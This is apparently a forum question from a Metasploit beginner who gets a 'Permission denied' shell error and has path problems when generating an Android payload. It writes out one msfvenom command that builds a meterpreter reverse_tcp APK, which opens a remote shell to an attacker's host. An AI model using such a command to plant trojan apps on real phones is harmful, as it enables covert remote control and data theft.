I am pretty much completely new to Metasploit so I may just be having a problem that anyone who is experienced could fix but I hadn't seen any fixes online anywhere. I am running
msfvenom -p android/meterpreter/reverse_tcp LHOST=ip R > filename.apk
and get returned
bash: filename.apk: Permission denied
Also to even run this command without getting piles of errors or to run the metasploit console I have to be in /opt/metasploit-framework.
Anyways, I have only found one source with the same problem, Getting 'Permission Denied' when running bundler command, however, there is no solution here either.
Has anyone else encountered this problem and found a solution?